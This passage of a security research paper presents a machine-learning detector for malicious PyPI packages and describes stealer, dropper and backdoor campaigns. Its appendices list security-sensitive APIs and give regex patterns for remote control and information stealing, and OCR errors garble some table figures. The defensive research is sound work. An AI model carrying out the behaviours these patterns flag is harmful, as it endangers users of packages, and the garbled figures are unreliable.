AT-based) detected 254 malicious packages, of which 66
(26%) showed some form of obfuscation based on the adver-
sarial patterns introduced in this work (see Appendix A.3).
Moreover, by further analyzing the obfuscated packages, we
found that only 31 of them (12.2% of the total) leverage
more than one obfuscation technique.




Obfuscated

Total: 66
B Base: 59
AT: 65

Non-Obfuscated

Total: 188
B Base: 183
AT: 181

Figure 5: Comparison between the baseline and the AT-based models on the 1ivel dataset in terms of detection of

obfuscated (left) and non-obfuscated (right) samples.

Model Training Dataset FP TP FN TN Acc Prec Rec F1
XGBoost base train 798 147 69 90,810 99.06 1556 68.06 25.32
T train + livel 786 167 49 90,822 99.09 17.52 7731 2857
XGBoost AT train 792 153 63 90,816 99.07 16.19 70.83 26.36
train + livel 781 180 36 90,827 99.11 18.73 83.33 30.59

TABLE 5: Performance metrics at 1% FPR of the XGBoost models evaluated on the 1ive?2 dataset.

Furthermore, it is interesting to observe that the AT-
based model performs better on obfuscated packages, find-
ing 6 (+10.2% increase®) more obfuscated packages com-
pared to the baseline model, while on non-obfuscated pack-
ages the baseline model has a small edge (+2 package
detected compared to the AT-based model). This seems
to suggest that AT may cause the model to overfit on
obfuscated packages at the expense of non-obfuscated ones,
which are however more common in the wild.

It is also important to notice that both detectors perform
worse on real-world data than on the test dataset — with a
drop in detection rate at 1% FPR from roughly 95% to 69%.
Nevertheless, such result is also in line with the findings
of Zhang et al. [5], who observed an even higher drop in
performance when evaluating their detector on real-world
data (precision decreased from roughly 95% to 18.5%). This
remarks the importance of evaluating the detectors on real-
world data as current datasets might not be representative
of the actual packages available on PyPI.

[RQ.3] Our experiments show that AT needs to be applied
cautiously: on the one hand it makes the model more
robust to obfuscations and allows to find 6 (+10%) more
obfuscated packages, but on the other hand it might neg-
atively affect the detection of non-obfuscated packages.

Ablation study. We also performed an ablation study to
assess the impact of the new features, such as the presence
of security-sensitive APIs and obfuscation patterns, on the
performance of the detector.

For space reasons, we only report here the key findings
of our ablation study, while all the details are provided in
Appendix C. Our experiments show that while the SoA
features provide only a slight improvement in detection
capabilities on the baseline dataset (MalwareBench), they
are crucial for enhancing the generalization capabilities of
the models on novel samples from the real-world datasets

3. percentage increment w.r.t the baseline: (65—59)/59x 100 = 10.2%

(1ivel and live?2). This suggests that new features are
essential for better capturing the malicious behaviors of real-
world malware samples and, consequently, improving the
detection capabilities of the models.

5. Case Studies

In this section, we present two case studies that show
how the same detector can be deployed in different settings,
by tuning its operating point to either maximize its detection
rate or to minimize the number of false alarms.

For this purpose, as depicted in Table 5, we experi-
mented with our XGBoost detector in four different con-
figurations: baseline and AT-based models trained on both
the train and 1livel datasets (train + livel), and
train dataset only. The results confirm that the AT-based
models perform better, and that using the larger and more
realistic 1ivel dataset in addition to the vanilla train
dataset (based on MalwareBench) results in stronger models
with higher precision and recall. This underlines that current
state-of-the-art datasets, such as MalwareBench, are not
fully representative of the real-world distribution of pack-
ages, and that using a more realistic dataset can improve the
detection capabilities of the models, especially when using
the detector in production for vetting PyPI packages. For
this reason, for both case studies detailed in the following,
we decided to deploy the final detector using the AT-based
XGBoost model trained on (train + livel).

To avoid potential false negatives in livel, we se-
lected all the packages with a SourceRank score* (a popular
ranking metric for open source packages developed by Li-
braries.io [38], [39]) of at least 8. We chose this threshold
since it corresponds to the mean and median values of the
benign packages in 1ivel. Finally, we reported the results
in Table 5 at 1% FPR to be consistent with the previous
experiments, while for vetting the packages in production
our final detector was tuned at 0.1% FPR.

4. https://docs.libraries.io/overview.html#sourcerank



Max FPR FP TP FN TN Acc Prec Rec F1
30% 27478 208 8 64130 70.14  0.75  96.30 1.49

10% 9152 196 20 82456 90.03 210 90.74  4.10
1% 781 180 36 90827 99.11 1873 8333 30.59
0.1% 81 92 124 91527 99.78 53.18 4259 47.30
0.05% 35 71 139 91573  99.81 68.75 35.65 46.95

TABLE 6: Performance metrics at different FPR thresholds
of the final detector evaluated on the 1ive?2 dataset.

5.1. PyPI

In the first case study, we consider the scenario of a
PyPI maintainer who wants to pre-screen every new release
to filter out possible malicious packages. In this case, the
problem is that the total number of new releases published
every day is very high, and the maintainers have very little
time to invest in this task (~20 minutes per week [12]).
Indeed, as reported in the interview conducted by Vu et
al. [12] to the PyPI maintainers, in 2020 PyPI introduced a
malware scanning project, but it was discontinued two years
later due to the overwhelming number of false positives.
Hence, it is of paramount importance to design a solution
that generates very few false alarms.

Table 6 reports the results of this case study at different
configuration points, ranging from 0.05% FPR to 30% FPR.
We would like to clarify that, even though during the vetting
of the packages we used a threshold of 0.1% FPR, we
report the performance of the final detector at different FPR
thresholds for completeness and to show its flexibility in
production. When tuned at 0.1% FPR, the final detector was
able to detect 92 malicious packages (i.e., 42.59% of the
total) in the 1ive2 dataset with only 81 false positives.

From the point of view of a PyPI maintainer, this is a
very promising result. Indeed, considering that the 1ive2
dataset contains packages collected over a period of 37
days, this means that the final detector is able to detect,
on average, 2.48 malicious package per day with just 2.18
false alarms. In other words, in this configuration the model
only raises ~4 alerts per day, and half of them correspond to
real malicious packages. These results perfectly align with
the time budget of 20 minutes per week to review the false
alarms suggested by the PyPI maintainers interviewed by Vu
et al. [12]. Indeed, assuming the time budget of ~1 minute
to triage a single alert suggested by Vu et al. [12], we would
have ~15 minutes® per week to review false positives.

Finally, we remark that the proposed detector also sat-
isfies the other requirements highlighted by Vu er al. [12]
in the context of the PyPI ecosystem, namely the low effort
to use and maintain, and the real-time detection of mali-
cious packages. Indeed, our detector can be easily trained
and deployed in parallel, can be easily tuned at different
thresholds, and can scan packages in real-time (hundreds of
milliseconds per package on average), making it a perfect
solution for being integrated in the PyPI ecosystem.

5. computed as 2.18 (FPs) x 7 (days) X 1 (min) = 15.26 minutes

Campaign Count Num Packages
Stealer 14 61
PoC 3 13
Dropper 3 8
Trojan 2 5

TABLE 7: Campaigns of the malicious packages detected
by the final detector in the 1ive2 dataset.

Obfuscation Num Packages
BaseXX Encoding 40
Hex Encoding 6
Binary Arrays 1
Data Reordering 2
API Name Obfuscation 1

TABLE 8: Obfuscation techniques of the malicious packages
detected by the final detector in the 1ive?2 dataset.

Obfuscation Num Packages
other source code 38
setup.py 35
__init__ .py 19

TABLE 9: Location of the malicious code in the pack-
ages detected by the final detector in the 1ive2 dataset.
The other category includes all the files that are not
setup.py or __init__ .py files, such as main.py.

Malware behaviors and campaigns. We performed a de-
tailed analysis of the 92 malware packages detected by the
final detector in the 11ve2 dataset by studying the malware
behaviors and campaigns of the detected packages. As for
campaign attribution, we manually grouped all the packages
that share the same (or almost the same) malicious code
into a single campaign. Moreover, by analyzing the temporal
distribution of the packages, we found that packages in the
same campaign are usually uploaded to PyPI in a short time
span (same day or within a few days).

As shown in Table 7, we found 22 campaigns in total,
which are distributed as follows: most of the campaigns (14
out of 22) are stealer packages (61 in total), followed by
3 PoC campaigns (13 packages), 3 dropper campaigns (8
packages), and 2 trojan campaigns with backdoor function-
ality (5 packages). This result is in line with the findings of
current research [40], [41], [42], which show an increasing
trend of malicious packages with stealer behaviors.

Packages in the stealer campaigns aim to steal sensitive
information from the victim’s machine, such as passwords,
browser cookies, cryptocurrency wallets, which are gener-
ally exfiltrated to a remote server, a Telegram bot, or a
Discord channel. We found some PoC malicious samples
that connect to suspicious URLs and exfiltrate some basic
information about the machine such as hostname and operat-
ing system (OS) version. Packages in the dropper campaigns
target Windows machines and aim to download and execute
malicious binaries file from a remote server, while the two
trojan campaigns install a backdoor on the victim’s machine.




Max FPR  FP TN Acc

30% 130 1466  81.45
10% 46 1550  97.12

1% 2 1594 99.87
0.1% 0 1596  100.00

TABLE 10: Performance metrics at different FPR thresholds
of the final detector evaluated in the industrial case study.

Additionally, we analyzed the presence of obfuscation
in the detected packages (see Table 8), based on the ob-
fuscation features used in this study (see Section 3.1). We
found that 40 out of 92 packages (43.4%) use at least
one form of obfuscation techniques to hide the malicious
code. Among the obfuscated packages, all of them use at
least one BaseXX (e.g., Base64, Base32, ...) encoding, six
of them leverage hexadecimal encoding, while only two
packages using data reordering (e.g., splitting strings in
multiple chunks) and only one package uses binary arrays to
obfuscate strings. Moreover, we found just one package that
uses a simple form of API obfuscation to import a module
(.e., import__ ("os") instead of import os).

Finally, we analyzed the location of the malicious code
in the packages (see Table 9), and found a very interest-
ing result: unlike the results reported by Guo et al. [17],
who found that 68.6% of the analyzed malicious packages
contained the malicious code in the setup.py file, we
instead found that the majority of them (38 out of 92, i.e.,
41.3%) contain the malicious code in other source files (e.g.,
main.py) different from setup.py or __init__ .py,
while only 35 packages (38% of the total) contain the
malicious code in the setup.py file, and the remaining
19 packages (20.7% of the total) include the malicious code
in__init__ .py.

This result remarks that, even if the setup.py file is
still quite popular for placing the malicious code, mainly
because it is the first file that is automatically executed
when a package is installed [16], [17], __init__ .py and
other source code files are becoming more and more popular
among attackers to place the malicious code. This may
be because the setup.py file is monitored by security
researchers and tools such as GuardDog [43], [12], [22],
hence attackers might be trying to evade detection by placing
the malicious code in less monitored files.

5.2. Industrial Scenario

For the second case study we collaborated with a large
multinational software company, which provided us with a
list of 584 Python dependencies used in some of its products.
We collected all the releases of the dependencies from PyPI
during the same time period (37 days) of the first case study,
obtaining a total of 1,596 packages. In this case, it is more
important to detect malicious packages even if this requires
investing more time spent on validating false alerts. For this
reason, we configured our detector at 90% detection rate,
which, according to Table 6, corresponds to a 10% FPR on
the 1ive?2 dataset.

For completeness, in this case study we also report the
performance of the final detector at different thresholds in
Table 10. Note that since there were no supply-chain attacks
on any of the packages used by the company during our
experiment, we cannot compute the detection rate.

The results show that, when tuned at 10% FPR, the final
detector achieves 97.12% accuracy. This corresponds to 46
false alerts, an average of 1.24 false positives per day. This
means that a security engineer has to spend only a few
minutes per day to review false positives, which is a very
reasonable time budget for an industrial scenario.

At this scale, it would be possible to adopt an even more
aggressive setup, for instance by tuning the classifier at the
[30% FPR - 96% TPR] point. This would further increase
the chances of detecting more attacks, while increasing the
number of false alarms to a still-manageable 3.5 per day
(i.e., 130 in total over 37 days).

[RQ.4] When deployed in production our final detector
demonstrated competitive performance and very low ef-
fort to review false alarms (few minutes per day)
for both PyPI maintainers (2.48 TPs and 2.18 FPs per
day at 0.1% FPR) and enterprise security teams (97.12%
accuracy and 1.24 FPs per day at 10% FPR).

6. Related Work

In this section, we summarize the main solutions pro-
posed to detect malicious packages in the PyPI ecosys-
tem, focusing on their detection techniques and limita-
tions. Ladisa et al. [4] proposed a cross-language malicious
package detector that leverages static features and machine
learning techniques to identify malicious packages in both
the PyPI and NPM ecosystems. They conducted a 10-day
vetting campaign on PyPI and NPM, achieving a precision
of 4.4%. Its main limitation is the lack of features represent-
ing the packages’ behavior, such as API calls. In our work,
we overcome this limitation by extending their feature set
with additional features that count security-relevant APIs,
suspicious behaviors, and new obfuscation patterns. Thanks
to the extended SoA feature set and AT, we increased the
precision to 18.73% (3.25x higher than their solution).

Zhang et al. [5] proposed CEREBRO, a cross-language
detector that leverages language models fine-tuned on mali-
cious behavior sequences extracted from a package’s source
code. They performed a real-world evaluation on PyPI over
a seven-month period and achieved a precision of 18.2%.
Compared to this approach, we achieved slightly better
precision (i.e., 18.73%) and, more importantly, our approach
is significantly more computationally efficient, as it does not
require fine-tuning or inference with a language model, thus
making our detector more suitable for real-time detection.

Liang et al. [43] proposed MPHUNTER, a solution that
leverages clustering techniques to identify malicious pack-
ages. The main limitation of this work is that their approach
only analyzes the setup . py metadata file, while malicious
code can reside in other files within the package. Indeed,
as highlighted in our analysis, the majority of the malicious



packages identified in the 1 ive?2 dataset included malicious
code in other source files (e.g., __init__.py).

Current research also encompasses multiple solutions
that employ traditional approaches that rely on static/dy-
namic analysis and rule matching to detect malicious pack-
ages. For instance, Li et al. [6] proposed MALWUKONG,
which leverages a combination of in-depth static analysis,
metadata information, and rule matching (using YARA and
CodeQL). They conducted a live evaluation on PyPI but did
not report any precision or recall metrics. Moreover, their
solution does not seem suitable for real-time vetting, as it
requires deep static analysis of the package’s source code.
Recently, Zheng et al. [7] proposed OSCAR, a solution
based on dynamic analysis that employs fuzz testing on ex-
ported functions and classes, as well as behavior monitoring
via tailored API hooking. However, this work also lacks
precision and recall metrics in its real-world evaluation and,
similarly to MALWUKONG, it is unsuitable for real-time
PyPI vetting due to the complexity of dynamic analysis.

Finally, some research works have explored the use of
Large Language Models (LLMs) for detecting malicious
packages For instance, Zahan et al. [44] evaluated for the
first time the effectiveness of LLMs in detecting malicious
NPM packages, while Ibiyo er al. [45] evaluated the use
of LLMs enhanced with Retrieval-Augmented Generation
(RAG) techniques to detect malicious PyPI packages.

Overall, none of the existing works have comprehen-
sively evaluated the adversarial robustness of their detectors
against evasion attacks, nor have they investigated the ef-
fectiveness of adversarial training, especially in a real-world
setting. Also, none of the current solutions are designed to
be customizable for different actors in the software supply
chain, such as package maintainers or enterprise security
teams. By contrast, our approach addresses all these gaps by
providing a robust and flexible solution that can be seam-
lessly integrated into both PyPI and enterprise ecosystems.

7. Conclusions

Securing the software supply chain nowadays requires
robust and adaptable solutions that address the diverse needs
of various stakeholders, from package maintainers to enter-
prise security teams. To this end, we propose a flexible and
effective detector for malicious PyPI packages that can be
seamlessly integrated into both public and enterprise ecosys-
tems. We present the first study that thoroughly evaluates the
robustness of a malicious package detector against adversar-
ial code transformations and evaluates the impact of AT in
this context. Our experiments show the double-edged sword
effect of adversarial training: while it significantly improves
robustness against the proposed adversarial transformations
by 2.5x compared to the state-of-the-art and increases the
detection rate of newly obfuscated malicious packages by
10%, it also leads to a small drop (-1%) in performance on
non-obfuscated packages.

Finally, we demonstrate its adaptability to different op-
erational needs: from PyPI maintainers requiring very low
FPR (2.5 malicious packages detected daily on average vs.

2.18 false positives per day at 0.1% FPR), to enterprise
settings with higher FPR requirements (1.24 false positives
per day at 10% FPR). Hence, our detector can be tailored to
the requirements of different actors in the software supply
chain, ensuring a balance between security and usability.

Overall, our vetting campaigns have identified and re-
ported to the community 346 malicious packages.

We foresee several future research directions to further
improve our solution. First, we plan to evaluate our detector
on other ecosystems, such as NPM, which has seen over
540,000 malicious packages in recent years [1]. Indeed,
our approach can be easily adapted to other ecosystems
by tailoring the adversarial transformations to the respective
programming languages. Second, even though we are aware
of more advanced techniques based on deep learning and
LLMs and plan to explore them in the future, they would
require more computational resources for training and infer-
ence compared to our solution, which may not be suitable
for real-time detection. Finally, we aim to incorporate new
features based on dynamic analysis to design a new hybrid
solution that leverages both static and dynamic techniques
to enhance the detection capabilities.

Appendix A.
SoA Features

A.1. API-related Features

In Table 11 we provide the list of security-sensitive APIs
that we used to extract the related features. The APIs are
grouped into categories based on their functionality, namely
Network, Filesystem, Host Information, Code
Execution, Command Execution and Encoding.

A.2. Behavior-related Features

Table 12 shows the behaviors adopted in this work and
the related regular expressions.

A.3. Obfuscation-related Features

In this work we leverage several features based on
our study about adversarial packages to detect the main
obfuscation techniques commonly used in malicious pack-
ages. To this end, we designed several regular expres-
sions to match the presence of the following obfuscation
techniques: baseXX encoding (including Base64, Base32,
Basel6 and Base85 encoding schemes), hexadecimal en-
coding, binary array encoding, string splitting, XOR-based
obfuscation and API obfuscation. As for the baseXX
encoding, we use several regular expressions to detect
the presence of related APIs, such as b64decode (),
b32decode (),blédecode () and b85decode (). The
hexadecimal encoding is detected by matching the pres-
ence of the bytes.fromhex () and hex () methods, as
well as the presence of hex-encoded strings. The binary
array encoding is detected by matching the presence of



Category Module API
requests get, post, put, patch, delete, request, Session
socket, close, create_connection,
socket

create_server, dup

socket.socket

bind, listen, accept, connect, connect_ex,
close, detach, dup, shutdown

webhook send
Webhook from_url
Network aiohttp request
aiohttp.ClientSession get, post, put, patch, delete, ws_connect
http.client.
HTTP (S) Connection request, getresponse, putrequest, connect, close
urllib.request urlopen, urlretrieve, Request
urllib3 request
urllib3.connection. connect, request,
HTTP (S) Connection request_chunked, getresponse, close
open, remove, rename, replace, truncate,
stat, lstat, fstat, chown, chmod,
lchmod, 1chown, 1ink, symlink, readlink, realpath,
os unlink, rmdir, mkdir, makedirs, removedirs,
walk, listdir, chdir, fchdir, access,
startfile, mkfifo, mknod, pathconf, fpathconf
Filesystem statvfs, fstatvfs, fsync, fdatagync, sync, fsync_range
shutil copyfile, copyfileob], copy, copy2,

copytree, rmtree, move

io.BufferedReader

read, readl, readinto, readintol

io.BufferedWriter

write

builtins open, read, write, readline, readlines, writelines
getpass getuser, getpass
gethostname, getpeername,
socket gethostbyname, get fgdn
node, system, release,
lat form version, machine, processor,
P architecture, platform, uname,
Host Information linux_distribution, mac_ver, win32_ver
CreateKey, CreateKeyEx, ConnectRegistry,
DeleteKey, DeleteKeyEx, DeleteValue,
winre EnumKey, EnumValue, LoadKey,
g OpenKey, OpenKeyEx, QueryValue,
QueryValueEx, SaveKey, SetValue,
SetValueEx, QueryInfoKey
Code Execution builtins exec, eval
subprocess getoutput, call, check_output, run, Popen, check_call
pty fork, openpty, spawn
Command Execution popen, system, posix_spawn, posix_spawnp,
oS getenv, chmod, dup2, startfile, exec*f’, spawn*7
b64encode, b64decode,
urlsafe_b64dencode, urlsafe_b64ddecode,
base64 standard_b64encode, standard_b64decode,
b32encode, b32decode, bl6encode, bl6decode,
b85encode, b85decode, encode, decode
hashlib md5, shal, sha224, sha256, sha384, sha512
Encoding bytea'rray fromhex, hex
z1lib compress, decompress
gzip compress, decompress
lzma compress, decompress
marshal load, loads
__pyarmor___
TABLE 11: List of security-sensitive APIs and their categories.
Behavior Regular Expression

Remote Control
Information
Stealing
Code Execution
Command
Execution
Unauthorized File
Operations

NETWORK_ (NETWORK_) ?\w+ (ENCODING_) ? \w*CMDEXEC

FILESYSTEM_ (HOSTINFO_ |ENCODING_) ?\w*NETWORK |

HOSTINFO_ (FILESYSTEM_|ENCODING_) ? \w*NETWORK

NETWORK_ (ENCODING_) ?\w+CEXEC | ENCODING_\w+CEXEC | CEXEC
CMDEXEC_ (ENCODING_) ? \w+NETWORK | ENCODING_\w+CMDEXEC_ (ENCODING_) ? \w*NETWORK |
CMDEXEC_\w+ENCODING | ENCODING_\w*CMDEXEC_\w+ENCODING | ENCODING_\w#CMDEXEC
NETWORK_\w+FILESYSTEM_\w+CMDEXEC_\w+FILESYSTEM|NETWORK_\w+FILESYSTEM_\wx
CMDEXEC | FILESYSTEM_\w+CMDEXEC_\w+FILESYSTEM|FILESYSTEM_\w+CMDEXEC

TABLE 12: Behaviors adopted in this work and related regular expressions.
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Figure 6: ROC curves of the detectors evaluated in this
work on the baseline (test) and adversarial (test-adv
test sets, namely Decision Tree (DT), Random Forest (RF),
XGBoost (XGB) and GuardDog (GD). The AT-based models
are specified with —AT.

the bytes () and bytearray () methods as well as the
presence of bytearray-encoded strings. The string splitting
obfuscation is detected by matching the presence of string
concatenation based on the + operator and join () method.
The XOR-based obfuscation is detected by matching the
presence of the ~ operator used along with the xor () and
ord () methods. Finally, the API obfuscation is detected
by matching the obfuscation patterns detailed in Section 2.1
and summarized in Figure 4.

Appendix B.
Additional results

In this section, we provide additional experimental re-
sults to complement those presented in Section 4. Specif-
ically, in Figure 6 we report the ROC curves of all the
detectors evaluated on the baseline (test) and adversarial
(test—adv) test sets created from Malwarebench.

Appendix C.
Feature Ablation Study

In this section, we present the results of the feature
ablation study conducted to evaluate the impact of the new
features on the performance of the detector.

Detector Features Dataset
test test-adv

GuardDog — 6.63 1.00
original 67.94 1.00
Decision Tree Soh 69.14 4.60
. original  90.40 12.10
Random Forest Soa 90.54 12.10
original  93.00 14.00
XGBoost So 9527 2430
original  93.20 85.87
XGBoost AT SoA 9564 8681

TABLE 13: Recall (TPR) at 1% FPR of the detectors
evaluated on the (test) and (test—adv) sets. The last
row reports the results of the XGBoost model trained with
AT using 20% of the adversarial packages.

Model Features FP TP FN TN Acc Prec Rec F1
original 1218 156 198 120824 98.84 11.35 44.07 18.06

base

SoA 1210 242 112 120832 9892 16.67 6836 26.80
AT original 1215 183 171 120827 98.87 13.09 51.69  20.89
SoA 1210 246 108 120832 98.92 1690 69.49 27.18

TABLE 14: Performance metrics at 1% FPR of the XGBoost
models based on the original and SoA features, evalu-
ated on the 1ivel dataset. base represents the baseline
models, while AT represents the model trained with AT
using 20% of adversarial samples.

Baseline Evaluation. Table 13 reports the recall (TPR) at
1% FPR of the detectors based on the original (i.e., the
original feature set proposed by Ladisa et al. [4]) and SoA
features, evaluated on both the baseline (test) and adver-
sarial (test—adv) test sets. The results show that detectors
based on the SoA features achieve a slightly higher recall
on both test sets compared to those using the original
features. Specifically, the SoA features provide an average
increase of 1.74% in recall across all models evaluated on
the test set. This suggests that the SoA features enhance
the detection capabilities of the models.

Real-world Experiments. We then extended the ablation
study to the 1ivel real-world dataset. Table 14 reports
several performance metrics computed at 1% FPR for the
XGBoost detectors evaluated on 1ivel. The results high-
light that, unlike in the baseline evaluation, the SoA features
provide a significant improvement in the detection capabili-
ties of the models on the real-world dataset, with an average
increase of 44.77% in recall across both the baseline and AT-
based models. Furthermore, when combined with AT, the
SoA features achieve the best performance: the XGBoost
model trained with AT and based on the SoA features
outperforms all other configurations across all metrics and,
in particular, surpasses the baseline model with original
features by 57.68% in terms of recall.
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